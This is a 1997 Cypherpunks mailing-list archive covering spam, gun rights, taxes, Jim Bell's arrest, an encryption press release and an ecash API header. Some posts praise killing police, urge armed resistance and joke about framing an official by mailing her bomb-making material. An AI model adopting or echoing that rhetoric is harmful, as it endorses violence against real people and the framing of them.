crowd of people who don't want to hear him.  All the while, you stand there
next to Spamford and claim that I must continue to hold my megaphone for
the spammer because it's his "right to free speech", and the only way to
avoid it is to turn my megaphone off, denying me the ability to allow
anyone else to use my megaphone.

The icing on this cake is that if the spammer starts announcing "Make Money
Fast" over my megaphone, the FBI will come and investigate ME because I'm
the one holding the megaphone!

Free speech is NOT the subject here.  My right to walk down the street with
my (lawfully registered) megaphone has been usurped by a thug.  You're
telling me that every megaphone owner has a *duty* to hold it in front of
every spammer's
mouth.  Remember, these are finite megaphones.  They have batteries that
need replacing, and the owners are stuck standing there holding them while
the spammers speak as long as they want.  Sorry, but those megaphone owners
may have other things to do with their megaphones and their time.  You're
confusing "the right to free speech" with "the right to kidnap megaphone
owners".

In this particular case, of course, there was a technical solution:
install a sendmail to prevent routing of incoming mail.  ISPs and
corporations around the globe will need this new hardened sendmail to keep
the spammers away.  Restricting the speech they carry.  Turning off the
megaphones.

Spam is interfering with the *real* victim's (the sendmail operator's)
ability to provide customer service; in a very real and fiscally damaging
way.  It's also restricting the traffic he can carry to only that speech
originating from
his domain.  His right to carry YOUR speech has been restricted by his
technical solution to keep his machine alive.

What is ultimately likely to happen, however, is that Mr. Wallace will be
prosecuted under existing laws for swindling the original MMF spammers.
He's profiting by charging them to steal resources from ISPs.  He *might*
be able to avoid prosecution by putting a "warning sticker" on his
advertising saying something to the effect that, "if you send a Make Money
Fast scam out, the jack-booted thugs will come and haul you away faster
than I can send out your e-mails."  But then he'd have no business at all!

I'm not trying to claim that Mr. Wallace does or does not have the right to
speak to us.  I simply want to point out that there is real monetary loss
to the real victims of his spamming.

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad at dsddhc.com (work)   mailto:jad at pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+






From paul at fatmans.demon.co.uk  Wed May 21 13:15:06 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 22 May 1997 04:15:06 +0800
Subject: SIC SEMPER TYRANNIS
In-Reply-To: 
Message-ID: 




> Indeed, but the great bulk of people ("the masses") have almost never
> cared. They are going about their daily lives, trying to earn a living, and
> so on. That the distant government is suppressing others is usually of
> little concern to them. Nearly all revolutions are initiated and led by
> elites...I see no reason to expect this to different in "Techno-Revolution."

Yes, 

It is indeed surprising that more revolutions are not perpetrated by a 
large proportion of the population, although normally of course it is the 
case that once the ball is set rolling by a small group the rest of the 
sheeple join in, safety in numbers. This is of course mentioned in "the 
theory of oligarchival collectivism", the "sub-book" in Orwells 1984, 
where he mentions the impossibility of the proles rebelling because they 
are too concerned with the drudgery of their own lives to understand or 
care about the greater issues at stake within a society.
 
> Also, the "boiling a frog slowly" metaphor comes to mind...most people have
> little idea how the vise has tightened. And in the case of "gun rights,"
> most Americans are apparently of the opinion that their lives will be safer
> if all guns are banned.

Of course, nearly all guns are banned in the UK now, this did not 
directly affect me as I rarely used to shoot handguns, preferring rifle 
and shotgun.

The assumption that this will save a large number of lives is false of 
course, the government, when justifying this (which really wasn`t needed 
as the population at large were calling for banning of guns anyway), 
cited the statistic that more murders are commited with licensed guns 
than illegal ones, of course, if someone wants to murder someone they 
will always find a way, whether it is obtaining a gun illegally or using 
another weapon of some kind.

Really though this is irrelevant, this is why I objected to a number of 
the points raised at the time along the lines of "such a ban will be 
innefective", of course it will, but that is really not the point. The 
right to own a gun is a fundamental one, guns are one of our last levels 
of protection against government.

> (Which may be true, if _all_ guns were banned. Speaking hypothetically. And
> not necessarily proven (knives are notoriously effective, too, so it's not
> at all clear that violent deaths would diminish much.) But not all guns
> could ever be banned, and criminals would then have a major advantage of
> the defenseless. 

This is the case in the UK, where the carrying of ANY weapon by a member 
of the public (even something completely defensive, such as a can of 
mace) is illegal. I don`t recall particular instances, but I do remember 
several instances of people being prosecuted for assult when they had 
been defending themselves.

> And there's the little matter of reimbursing folks like me for the value of
> our guns, our reloading supplies, our gun magazines and books, and our
> "invested time." In other words, they want to take my guns, acquired
> legally, they'd better be prepared to remimburse me what I think all this
> stuff is worth (which they won't), and guarantee that criminals won't have
> guns (which they can't). 

After the Hungerford killings in about 1985 (when Michael Ryan killed 
about 10 to 20 civilians with a collection of rifles) the UK government 
banned all automatic rifles and other weapons like Uzi`s etc... Many of 
those who had their guns stolen by the state after this have still not 
been compensated (as if that made any difference).

We are under assult from the state in all respects, self defence is the 
only option.

> This is all separate from the clear language of
> the Second, of course. "When only cops have guns, how do you kill the cops
> who need killing?" (As some surely do, as the various cases of justifiable
> self-defense against cops, rogue or otherwise, make clear.)

Indeed, how is it always that the state justifies the behaviour of their 
employees (ie. our employees) by describing them as "rogue cops"... 
Presumably a state authorised beating of an anarchist or other 
politically undesirable person is justifiable, but a white cop beating up 
a black man is completely inexcusable...

> I don't know how it is the UK, but in the US it's fairly easy to have
> someone committed "for psychiatric evaluation" (observation). A Santa Cruz
> County Sherriff's Deputy told me once on the phone that my opinions could
> indicate that I was of unstable mind...his clear hint to me was that he
> could have me committed for a 48-hour stay in one of the local psychiatric
> prisons^H^H^H^H^H^H hospitals. 

I remember a few years ago being refused a shotgun licence because I had 
been "evaluated", it did not seem to concern the firearms division of the 
police force that I had been declared totally sane and "normal" after 
this "evaluation" (which, incidentally, only took the psychiatrist around 
20 minutes). As usual, the reason I was under suspicion at the time 
was because of my political opinions and because of some comments I had made.
When I re-applied the next year I was granted a licence, presumably they 
felt that at the time, when the police had to give a reason for refusing 
a certificate, they could not win a court challenge. I have my suspicions 
that when my certificate comes up for renewal (next couple of years I 
think) it will be revoked. Now of course the police do not even have to 
give a reason why they refused a certificate so it is next to impossible 
to challenge a decision in court. 

> Why would he do this? Well, in California
> one loses all rights to own guns for some period of time after such a
> pyschiatric commitment, regardless of the final determination. (I don't
> have a URL handy on this, but it's widely discussed in the guns rights
> groups.)

I`m sure this is the same in the UK, although I cannot be 100% certain, 
of course my "evaluation" did not take the form of a proper commital to a 
mental institution so I was able to obtain a shotgun licence shortly after.

> (I'm a believer that basic constitutional rights should not be taken away,
> even for convicted criminals, except insofar as the actual punishment
> requires. Thus, an imprisoned man loses his rights to move freely, of
> course, and perhaps rights related to this (gun ownership, obviously!). But
> once released, he should not lose his voting rights (which happens to
> convicted felons), gun ownership rights (ditto, for most felonies, as I
> recall), and so on. What would we think if a released prisoner lost his
> First Amendment rights? Or his Fourth, or Fifth? Etc.  (Don't laugh, many
> of these rights are already lost. Some in the process of parole, some even
> after parole ends.)

Absolutely, this is why I dislike the actions many states are taking 
against convicted paedophiles of informing people in the area they move 
to once released from jail. I believe that this is merely a form of 
speech so if the individual state employees choose to do this on their 
own time I have no problem with it, but using taxpayer money to persecute 
people who have served their punishment already leaves me with a bad feeling.

> By the way, one of the advantages of the huge number of things which are
> now felonies gives to the authorities is the ability to pile on a
> horrendous number of charges, some of which may "stick." This gives
> prosecutors bargaining power for pleas, so that they can get convictions
> without length trials.

This is observable all over the world now. There are, of course, two 
distinct advantages for the state in having such a large number of 
felonies, the first is what you mention above, the second that if the 
state chooses to fuck someone over they can always find some law they 
have broken, just about everyone is guilty of some felony or another.

> >Hmm, I don`t think this is really relevant though, it makes no difference
> >whether the discussions are theoretical or practical, they are still
> >valid discussions.
> 
> I agree with this point. Lucky was wrong to imply there's a difference in
> speech rights between "theoretical" and other forms of speech. A crime is a
> crime, of course, but talking about desirable courses of action, political
> outcomes, and so on is of course protected speech.
> 
> (Discussions which are actual criminal conspiracies is a touchy issue, and
> is a marginal area of the law, as near as I can tell. But essentially all
> discussions are protected unless strong evidence is presented that a crime
> is being plotted, and even then the speech is usually protected. Discussing
> tax evasion strategies, for example, has not been successfully prosecuted
> (per se), in any cases I am familiar with. And as Duncan noted, even
> sedition is hard to prove.)

>From a legal point of view I`m sure it is criminal in the UK to be 
involved in the plotting of any crime. From an ethical and moral point of 
view I really see no crime in even the direct plotting of, for example, 
murder, even if you draw up the plans and actual details of the crime. To 
me, the act of agression is perpetrated by A. The murderer himself, and 
B. If it was a hit, the people that hired him.

I have problems with people with auxhilliary roles, like getaway driver 
etc, as I believe although they commit no direct act of agression they 
participate in an active sense in the commision of the crime. This is 
where innocence in conspiracy moves onto shaky ground. 
However, I have no problem at all with saying I believe no speech, no 
matter how specific and intended to facilitate or discuss commision of 
a crime, is wrong.

> >I could not begin to aspire to your collection of rifles and other
> >defensive weapons Tim, but I too have been placing keys to my gun cabinet
> >and shells in convenient places for quick access at one of those "4am
> >black clad ninja just burst through my front door" moments.
> 
> It's a sad state of affairs when the police increasingly resort to the 4
> a.m. Nomex-hooded, no-warnings-issued SWAT-type raids. Readers may recall
> the many stories of innocents killed when they were shocked out of deep
> slumber by "flash-bangs" thrown into their bedrooms and the sudden
> appearance of black-clad ninja raiders.

I personally see no difference between the police breaking into my house 
and anyone else doing the same. If I see someone about to attack me I will 
defend myself by any means necessary. If that means I kill a cop, well 
that`s a bonus point.

> Notable example:  the Malibu doctor suspected--wrongly, it turns out--of
> growing pot on his ranch. He and his wife were startled by the ninjas
> bursting into their bedroom. The doctor reached for a handgun in his
> nightstand and was sprayed with 9mms from the Heckler and Kock MP-5s of the
> raiders. The estate of the doctor is currently suing the LA County
> Sheriff's Department and other agencies, but you know how those things go.
> I know I shock a lot of people by saying this, but I think those involved
> in the raid should be tried on murder charges and, if found guilty,
> executed promptly. And if the court system won't do this, which it
> obviously won't, then the alternative is  CENSORED>.

This is quite right, the police had no right to be in his house as he had 
commited no ethical crime, therefore he merely attempted to defend 
himself against people who had broken into his house. If they then shot 
him they are guilty of murder, no question about it.

If the government want a "war on drugs" they can expect a real war, where 
the enemy fight back. 

All of those fortunate enough to be living someone where they are legally 
entitled to obtain defensive weapons, Lock and load.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From sunder at brainlink.com  Wed May 21 13:38:48 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 22 May 1997 04:38:48 +0800
Subject: Just Say "No" to Congress
In-Reply-To: <199705182104.OAA20232@netcom14.netcom.com>
Message-ID: 


On Sun, 18 May 1997, Vladimir Z. Nuri wrote:

> R.A.:
> >You seem to be misinformed.  You don't send your money to Uncle Sam.  It 
> >gets taken out of every pay check before you even see it.   Then, come 
> >April 15, you fill a piece of paper out with the hope you'll get some of 
> >it back.  But sometimes, Uncle Sam takes even more.
> 
> right. and those who do nothing to change this, certainly can't expect
> that it will ever change.  but in fact it *has* changed before. it
> wasn't always the case that money was withhold. this law was introduced
> during WWII as I understand it.

Of course.  That would be the perfect time for it.  Martial Law and all 
that.  Oppose it and you get thrown in jail...  or labeled a spy or 
something...  What else is new?  Declare martial law, then put the screws 
in.  Once in place they're almost imposible to remove without leaking 
loads of blood.
 
> is it true that something that can be done cannot be undone? or can
> the withholding tax be undone just as it was done? a certain amount
> of energy was expended in creating the situation that we find ourselves
> in-- decades of entrenchment. I submit that exactly the same amount
> of energy applied to the problem can *undo* it. it's a simple concept
> of conservation of energy. granted, a lot of energy is involved, I don't
> deny that. but *no* energy will get you absolutely nowhere. 

Welp, go for it.  Do whatever you think is appropriate to undo the law.  
I'd bet the people will agree with you, but the political scum that is, 
will not, nor is it likely that the media will allow you to speak your 
words. More likely weird allegations of child molestation, drug abuse, 
and plans of A.P. will "leak" out, and possibly a Jim Bell style raid on 
your house. :)  Asking your kongress kritter to undo this law is unlikely 
to result in much more than laughter.  So where does that leave you?

> what others are claiming is that no amount of energy will change
> anything, so why bother? indeed, why bother with your life at all?
> perhaps suicide is the easiest and ultimate solution for people who
> think this way. there are things in your life that you think you
> can change, right? why is the tax system not included in that category?
> I agree, one person cannot change the system. do not give me examples
> where one person failed. this is conservation of peoplehood; if many
> people were involved in its creation, than many must be involved in
> its destruction.

*Burp* Sorry, I'm too busy with living my life to do a Heaven's Gate 
special. :)  Since the money is taken out before we even see it, most 
people won't fight it, since it is already gone.

Well, then organize the many to do something if that is your wish.  
Nothing is holding you back.

I myself consult out.  Consulting out means that the money isn't taken 
out at all.  You just have to pay it back come April 15.  Day job, being 
a full time job, money gets taken out automagically by the evil agents 
of the IRS critters.  Consulting money, come the 1099 form, gets taxed 
after.

So even if you manage to upturn this law and get to keep the money until 
April 15, it wouldn't affect me much.  IMHO it's much easier if the money 
gets withheld, then having to pull hairs out doing tax forms come April.

Now if you can somehow repeal income tax, that would be a useful 
achievement. :)

I'm not opposed to taxes.  I'm opposed to their use without my say.  That 
is I want to tell Uncle Sam where the money goes.  If I decide my 30% 
that they chop out goes to the next stealth bomber, then that is where 
it should go.  If I say it should go to the schools, then that is where 
it should go, etc.  You think them kongress kritters will accept such a 
thing?  And no, not one cent of my "voluntary" contribution would go to 
kongress, were I to have it my way.  Hell, if I could even decide on 1/2 
of that, it would still be progress.

IMHO, this is nothing but a pipe dream, and I don't have any interest in 
politics.  I've too many other concerns to deal with.

But do whatever you feel is appropriate.  That in a nutshell was my 
opinion.  *Burp*

> oh really? here are some questions that anyone can ask about
> why their money was stolen.
> 
> 1. who is the person who stole my money?

In the case of taxes, Uncle Sam

> 2. why did they steal it?

For a billion things such as stealth bombers, for kogress salaries, for
bullets, for $3K military issue toilets that will survive nuke blasts, roads,
toll bridges, tax forms, black budget stuff, shipments to other countries,
jails, new draconian laws, bribe money, money to pay the prostitutes at the
congressional parties, "Just Say No" anti drug campains, trading coke for
guns, etc, etc, etc... 

> 3. what could prevent it from being stolen?

Welp, that's simple.  Quit your job and become homeless.  If you don't 
produce any money, they can't take any away from you.  They certainly 
can't put you in jail for it, and hell if they do, guess what, you get 
free food and a free place to sleep, and a big boyfriend named 'Bubba to 
keep you warm and fuzzy at night.

> 4. what can I do to protect my money from being stolen?

Work for the mob or something equally salacious, or get paid in cash and 
say you're unemployed, then go on welfare while you work, etc...

> government construction is an *engineering* problem. you cannot
> build something without putting thought and labor into it.
> I believe that if cpunks put their mind to it, they could create
> a better system than we now have-- and it wouldn't be anarchy (which
> is no system at all).

So put your mind to it and do something about it instead of yapping 
about it to us.  We don't give a shit.  If we did, we would have done 
something about it already.
 
> what if you showed up on the doorstep of a politician of your choice
> who you thought was stealing money from you? what if not only you
> but many people did this? would the government change? would they
> shoot you?

A few years back, the men in white would be called with a padded wagon, or
more likely today the jack booted ATF (ex BATFuck) men with guns and 
walkie talkies.
 
> I don't buy into the alienation and cynicism on this list peddled
> by TCM, truthmonger, et.al., and I suggest that anyone else who
> does is selling themself short, and in fact part of the problem and
> not the solution.

"If you're not part of the solution, you're part of the precipitate"  --
whomever.. Say, whatever you've been smoking, care to share it with us?  We
could use some I'm sure... 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder at sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From randerso at ece.eng.wayne.edu  Wed May 21 13:45:37 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Thu, 22 May 1997 04:45:37 +0800
Subject: Hey, what does this mean?
In-Reply-To: 
Message-ID: 


On Tue, 20 May 1997, Tim May wrote:

> Anybody know what this means?

> According to Arlington detective Tom DeGongue, Aaron was charged Monday in
> Arlington Circuit Court with one felony count of possession of bomb-making
> instructions and one misdemeanor count of resisting arrest. According to

Felony count of possession of bomb-making instructions?  *INSTRUCTIONS*?

he'll be on the streets tomorrow, no charges pressed.

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From jya at pipeline.com  Wed May 21 13:46:58 1997
From: jya at pipeline.com (John Young)
Date: Thu, 22 May 1997 04:46:58 +0800
Subject: PKP-Lemcom License Agreement
Message-ID: <1.5.4.32.19970521202326.0092f950@pop.pipeline.com>


Thanks to John Gilmore we offer the 1992 License
Agreement between PKP and Lemcom Systems filed
as an exhibit in the RSA v. PGP suit:

   http://jya.com/pkplem.htm  (41K)







From camcc at abraxis.com  Wed May 21 13:51:07 1997
From: camcc at abraxis.com (Alec)
Date: Thu, 22 May 1997 04:51:07 +0800
Subject: Wine Politics Again!
In-Reply-To: <19970521092223.04748@bywater.songbird.com>
Message-ID: <3.0.2.32.19970521155948.007c2100@smtp1.abraxis.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 01:05 PM 5/21/97 -0500, you wrote:

|
|It is very simple as to what the legitimate activities of the 
government
|is. It is explicitly spelled out in The Constitution of The United 
States.
|It states quite clearly in no uncertain terms what the federal 
government
|can and can not do. Unfortunately people like yourself and the 
majority of
|politicians feel that they can wipe their ass with this document 
whenever
|it suits their needs
|- -----------------------------------------------------------
|William H. Geiger III  http://www.amaranth.com/~whgiii
|Geiger Consulting    Cooking With Warp 4.0

More importantly perhaps, the Tenth Amendment directs, that is to say 
it is not left up to chance, who shall possess those unassigned powers:


"The powers not delegated to the United States by the Constitution, 
nor prohibited by it to the states, are reserved to the states 
respectively, or to the people.

In many cases these reserved powers have been assumed by the federal 
government or abrogated by the people.

Alec 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: cp850

iQCVAgUBM4NUAiKJGkNBIH7lAQF67AP7BzrUEasnQPYlnAGx3LRzWzZNGdog90Hc
lMzyxL+6jGsHLXS20Q7BJxJIzTJfWAZQqsSZiVu+uHpviRNCITLqekaXEpmsTVHH
DhOIpT49QereN5S+IxHcVdpXEonK+cAGqKB2oV8frsupSfKgvkoNeWNSPuuDQtuo
HOxS7zvbXHE=
=GAXJ
-----END PGP SIGNATURE-----






From sunder at brainlink.com  Wed May 21 13:53:34 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 22 May 1997 04:53:34 +0800
Subject: Jim Bell goes to Jail!
In-Reply-To: 
Message-ID: 


On Tue, 20 May 1997, Jyri Kaljundi wrote:

> So how useful are things like e-mail messages and newsgroup postings in
> court? Can e-mail really be used as court evidence and has it actually
> been used in any cases? It might probably differ in different coutries and
> states, but there must be some generl opinion about this. Is it may be up
> to the police / court to decide if a message is really written by someone
> who's name is under there. You can easily forge e-mail, mail headers and
> mail logs. 


Well then we should forge mail from the likes of Janet Reno and post it to
the list.  Where's Vulis when you need him...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder at sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From sunder at brainlink.com  Wed May 21 13:56:43 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 22 May 1997 04:56:43 +0800
Subject: Jim Bell 2
In-Reply-To: 
Message-ID: 


On Tue, 20 May 1997, Tim May wrote:

> About these charges I can of course say nothing. (Though I note that _my_
> SS card says quite clearly it is for tax and SS purposes ONLY, and is not
> be used for identification. When I pointed this out down at the Department
> of Motor Vehicles, I was met with a shrug and told that if I did not give
> my SS number as ID number I would not get a registration tag, and that if I
> persisted in arguing this at the counter that "security" would be called in
> to have me removed or arrested or tortured or whatever. By the way, would
> it be useful guerilla theater exercise to have our SS numbers tattooed on
> our forearms?)

Since the damn things are used for ID and secret shared keys, etc. doing 
so would fuck up your own privacy.  If you're gonna do that, encrypt it 
first. :)

> Who of us hasn't brainstormed about how to attack the security of a system,
> or the security of a water supply? Who of us hasn't thought about how easy
> it would be drop LSD or botulins in the water supplies of a major site? Is
> this also called "contingency planning"? Or "tiger team analysis"?

I do that all the time at work when we take a new system and install it 
so it can be sealed. :)
 
> It could be argued, and I hope it will be, that Bell was helping his friend
> Daly improve the security of his computer installation.

Let's pass it on to his lawyer.

> (Not to mention the vastly more important argument to use: First Amendment
> protection of speech. Conspiracy and RICO charges are hardly valid when
> only speech is involved...I'm not a lawyer, but I believe there has to be a
> realistic expectation that a crime is being planned to be carried out, with
> some reasonable chance of being completed, before a "conspiracy" can be
> charged. A few friends sitting around brainstorming about threats,
> counterthreats, and possible attacks does not a conspiracy make.)

Is RICO even constitutional? I bet McCarthy is smiling... :(

> >   Daly also told IRS agents that he had hypothetical discussions with
> >   Bell about contaminating water supplies and about making botulism
> >   toxin from green beans, the affidavit said.
> 
> And?

Yeah, well, the other day I was talking to someone about pissing in the 
water supply too...  Birds that fly over it, do it all the time.  Oh, and 
I'm gonna eat beans and fart, and pollute the air supply. :)  That was 
the discussion.  Will the arrest me next for that?
 
> >   In the April 17 and 18 interviews with IRS agents, Daly said that as part
> >   of his job, he "has keys and direct access to the Portland Bull Run
> >   water treatment facility."
> 
> And? (I can see scared officials firing Daly, unless he is protected by
> other interventionist laws.)

Yeah, and I have the root password for the machines I've installed and 
run.  Whoop Whoop.
 
> >   Daly said Monday that the conversations that he and Bell had were
> >   merely "intellectual fun-and-games discussions" between old friends
> >   who enjoy technical things.
> >
> >   "There's a difference between reasonable freedom of speech and
> >   unreasonable probability of attack," Daly said. "Standing around and
> >   flapping our lips about how it would be funny is way different from
> >   even contemplating actual attack."
> 
> Exactly. Seems some folks don't understand the First Amendment...this seems
> to be endemic in America today, especially amongst public officials.

But will the judge and jury remember this?
 
> >   Thursday, IRS agents searched the home of Robert East, a merchant
> >   radioman and a friend of Bell's. Among items seized was 3-foot length
> >   of carbon fiber.
> 
> Gee, could this carbon fiber be involved in his radio work? Gee.

Like maybe he was building a resistor?  Wait, I forgot, resistance if 
futile, you will be assimilated.

> >   The affidavit said East told agents that he and Bell had discussed "the
> >   possibility of putting the fibers down the air vents of a federal building"
> >   to kill its computers and about using the fiber against the IRS.
> 
> Sounds exactly like the sort of "what-if" theorizing that all technical
> people (and novelists, screenwriters, etc.) like to do. Also the staple of
> the "Infowar" mailing lists, not to mention "rec.pyrotechnics" sorts of
> newsgroups.

And how would a carbon fiber do that?
 
Hey, I have a bottle of Tabasco(tm) sauce on my desk.  Someone might come 
out of the woodwork and claim that I was planning to put that in the 
water supply.  Hehehehe... :(

> Free speech is under massive assalt in the Terror State of America.

You misspelled it.  It's the People's Republik of Amerika.  So where's 
the Save Jim fund?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder at sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From sunder at brainlink.com  Wed May 21 14:21:52 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Thu, 22 May 1997 05:21:52 +0800
Subject: Hey, what does this mean?
In-Reply-To: 
Message-ID: 


Okay, that does it.  Let's get the AOL disks out, copy bomb making 
material on them and mail them to Janet Reno and the like, then call the 
feds on them all. :)

On Tue, 20 May 1997, Tim May wrote:

> Anybody know what this means?
<...> 
>
> According to Arlington detective Tom DeGongue, Aaron was charged Monday in
> Arlington Circuit Court with one felony count of possession of bomb-making
> instructions and one misdemeanor count of resisting arrest. According to
> DeGongue, there were indications found in the home that Aaron had also
> talked about nuclear weapons and terrorism with others, which could open
> the door for more charges to be filed.
<..>
> 
> Arlington detectives, to say, "This is outrageous. I'm a well-respected
> member of the Cosmos Club and the Bohemian Club! I am establishing the
> world's crypto policy and I fly to capitals around the world. I'm not some
> two-bit militia member like that guy arrested out in Portland for talking
> about sabotaging computers! What do you think this is, Soviet Russia?"

It's getting there...  Seems the fascists left Russia and took over 
Amerika.  As for the "guy in Portland", welp, if higher ups get the same 
treatment, then maybe we can turn the tied.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder at sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From declan at well.com  Wed May 21 14:26:01 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 22 May 1997 05:26:01 +0800
Subject: Press Release -- NetFortress Added to GSA Schedule (fwd)
Message-ID: 




---------- Forwarded message ----------
Date: Wed, 21 May 1997 16:41:29 -0400
From: Gretta Bruce 
To: declan at well.com
Subject: NetFortress Added to GSA Schedule



	FOR IMMEDIATE RELEASE			CONTACT:	Gretta Bruce,  813/288-7388 
	May 21, 1997							or gretta at dsnt.com 

NETFORTRESS  ADDED TO GSA SCHEDULE
Breakthrough Network Security Solution Now Widely Available to Government
Customers

Tampa, FL.... Digital Secured Networks (DSN) Technology announced today that
its advanced encryption product, the NetFortress, has been listed on the
federal procurement schedule of the General Services Administration (GSA).
The NetFortress was added to the GSA schedule of one of DSN's federal market
VARs, Patriot Technologies Inc.

The addition of the NetFortress to the GSA Schedule (#GS-35F-4363D) makes
DSN's breakthrough encryption products widely available to customers
throughout the federal government.  Since the GSA Schedule functions as an
approved, "one-stop shop" for federal purchases, it also will shorten the
overall procurement process for federal purchasers.

"Availability and affordability are the keys for federal buyers," said
Raymond L. Weadock, DSN's President and Chief Executive Officer.
"Purchasing NetFortress products through the GSA schedule will simplify the
overall procurement process, and enable our federal customers to integrate
our superior security solutions quickly and efficiently." 

"The GSA listing for the NetFortress is an important part of our federal
sales efforts," Weadock continued.  "We have seen a significant increase in
federal customers as a result of the recent success of the NetFortress in
tests at multiple government testbeds.  We anticipate that the GSA listing
will enhance the attractiveness of our product in many of these buying
decisions."

The NetFortress stands out from other network security products because of
its unique combination of high-speed data throughput and fully-automated
encryption, authentication and key management technologies. Its
hardware-based design utilizes algorithm-independent encryption at the
network layer (supports IDEA, DES, Triple DES and FEAL), enhanced by dynamic
random key exchanges every 24 hours.  The NetFortress offers superior
security and high-speed performance in an easy-to-deploy, low-cost package.

About DSN Technology:
Digital Secured Networks (DSN) Technology was founded in 1995 by Dr. Aharon
Friedman and Mr. Andrew Savas.  Dr. Friedman, DSN's Chairman and Chief
Technology Officer, invented the breakthrough encryption technology
incorporated into the NetFortress product line.  DSN Technology is a
privately-held company.  For further information, please visit the company
website at www.dsnt.com.  

About Patriot Technologies:
Patriot Technologies, Inc., develops integrated, turnkey Internet solutions
for business, education and government clients world-wide.  With more than
50 years of computer industry experience, Patriot specializes in the design
and implementation of Internet applications for enterprise systems, with
growing concentration in the area of network security.  Key federal clients
include the U.S. Department of State, U.S. Department of Justice, and U.S.
Department of Energy.  Further information may be obtained from the company
website at www.patriot-tech.com or by calling 301/417-9899.    
 
######







From nobody at huge.cajones.com  Wed May 21 14:35:35 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 22 May 1997 05:35:35 +0800
Subject: Ecash API
Message-ID: <199705212108.OAA13411@fat.doobie.com>


X-Authentication-Warning: blacklodge.c2.net: majordom set sender to
owner-dev-lucre at c2.org using -f
X-Sender: jeremey at descartes.bluemoney.com
Date: Wed, 21 May 1997 12:32:09 -0700
To: ecash-dev at digicash.com, dev-lucre at c2.net
From: Jeremey Barrett 
Subject: Ecash API
Mime-Version: 1.0
Sender: owner-dev-lucre at c2.net
Precedence: bulk

-----BEGIN PGP SIGNED MESSAGE-----

Given the absence of an API from Digicash, we need a high level API so
make the task of integrating ecash into products really easy. So here's
my stab. This is the current header from my ecash library, which is a wrapper
for -lucre. -lucre is great, but it's pretty low-level, hence the wrapper.

The documentation in here is pretty incomplete, with just basic descriptions
of what functions do what. At some point it will be improved. I welcome
comments, suggestions, questions, and feature requests.

Currently, this lib handles socket transactions only, but ascii-armor
support will be added. This library will be available in some form or another
in the future, at the moment I'm just looking for feedback.

Regards,
Jeremey.


/*   Copyright (c) 1995, 1996, 1997
 *      The VeriWeb Internet Corporation.  All Rights Reserved.
 *
 *   Please view the full copyright at the bottom of this file.
 *
 *    ecash.h $Revision: 1.2 $ (VeriWeb) $Date: 1997/05/21 01:48:50 $
 */

/*==========================================================================*
 *
 * ecash.h
 *
 * Written by: Jeremey Barrett
 *
 * $Revision: 1.2 $
 */

#ifndef _ECASH_H_
#define _ECASH_H_


#include                            /* utility header */
#include                           /* -lucre header */


/*-------------------------------------------------------------------- 
 * Types
 */

typedef struct _ECSocket ECSocket;
typedef struct _ECPayment ECPayment;
typedef struct _ECPocket ECPocket;
typedef struct _ECConfig ECConfig;
typedef struct _ECError ECError;



/*-------------------------------------------------------------------- 
 * Errors
 */

#define ECError_NONE                   0
#define ECError_INVALID                -1
#define ECError_ECSYS                  -2
#define ECError_SYS                    -3
#define ECError_TCP                    -4
#define ECError_READ                   -5
#define ECError_WRITE                  -6
#define ECError_BIGNUM                 -7
#define ECError_MSGNEW                 -8
#define ECError_WALLETCREATE           -9
#define ECError_NOMEM                  -10
#define ECError_POCKETOPEN             -11
#define ECError_POCKETPASSWD           -12
